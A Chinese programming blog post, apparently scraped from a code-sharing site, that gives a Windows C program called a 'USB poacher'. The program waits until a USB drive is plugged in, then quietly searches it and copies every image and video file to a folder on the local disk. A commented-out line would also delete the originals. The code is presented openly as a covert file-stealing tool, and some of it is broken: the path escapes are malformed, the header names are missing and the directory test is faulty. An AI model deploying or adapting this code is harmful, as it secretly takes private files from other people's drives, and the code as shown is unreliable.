U盘偷猎者

U盘偷猎者,第1张

U盘偷猎者
#include 
#include   // *** 作系统的头文件

//查找某一个盘符中我们需要的文件
void FindFile(char filename[])
{
	//filename:  "F:"  -->  "F:\*.*" 
	char pathstr[300] = { 0 };
	sprintf(pathstr, "%s\*.*", filename);  //通配符 *.mp3 *mp4 *avi *rmvb *.wma

	WIN32_FIND_DATA findata;  //文件结构 文件的属性 
	HANDLE hfile = FindFirstFile(pathstr, &findata);
	char tempstr[300] = { 0 };
	while (1) //DWORD
	{
		//如果找到的文件是文件夹  
		if (findata.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY)
		{
			if (findata.cFileName[0] != '.')
			{
				sprintf(tempstr, "%s\%s", filename, findata.cFileName);
				FindFile(tempstr);
			}
		}
		else  //文件
		{
			if (strstr(findata.cFileName, ".jpg") ||
				strstr(findata.cFileName, ".bmp") ||
				strstr(findata.cFileName, ".png") ||
				strstr(findata.cFileName, ".mp4") ||
				strstr(findata.cFileName, ".avi") ||
				strstr(findata.cFileName, ".rmvb"))
			{
				//findata.cFileName 文件名  ---> 全路径
				sprintf(tempstr, "%s\%s", filename, findata.cFileName);
				printf("%sn", tempstr);

				//创建一个自己的路径
				char mypath[300] = { 0 };

				CreateDirectory("D:\寒冰断水的U盘", NULL);
				sprintf(mypath, "D:\寒冰断水的U盘\%s", findata.cFileName);
				CopyFile(tempstr, mypath, TRUE); //TRUE跳过 FALSE替换
				//DeleteFile(tempstr);
			}
		}
		int ret = FindNextFile(hfile, &findata);   //查找下一个文件 
		if (ret == 0)  //后面没有了 找到了最后一个
			break;
	}
}



int main()
{
	//自动检测U盘的拔插
	unsigned long allDisk; //定义一个变量 4B 32bit
	char str[5] = { 0 };
	while (1)
	{
		allDisk = GetLogicalDrives(); //get获取 Logical逻辑 Drives驱动

		for (int i = 0; i < 10; i++) //假设最多10个盘符
		{
			if ((allDisk & 1) == 1)  //最低位的那个盘符是存在
			{
				sprintf(str, "%c:", 'A' + i); //输出到字符串
				if (GetDriveType(str) == DRIVE_REMOVABLE)
					break;
			}
			allDisk = allDisk >> 1;
		}
		if (GetDriveType(str) == DRIVE_REMOVABLE)
			break;
	}
	
	//找到了U盘是str  
	FindFile(str);

	//杀毒全盘扫描
	//文件管理器 视频

	while (1);
	return 0;

	
}

欢迎分享,转载请注明来源:内存溢出

原文地址: https://outofmemory.cn/zaji/5699640.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-12-17
下一篇 2022-12-17

发表评论

登录后才能评论

评论列表(0条)

保存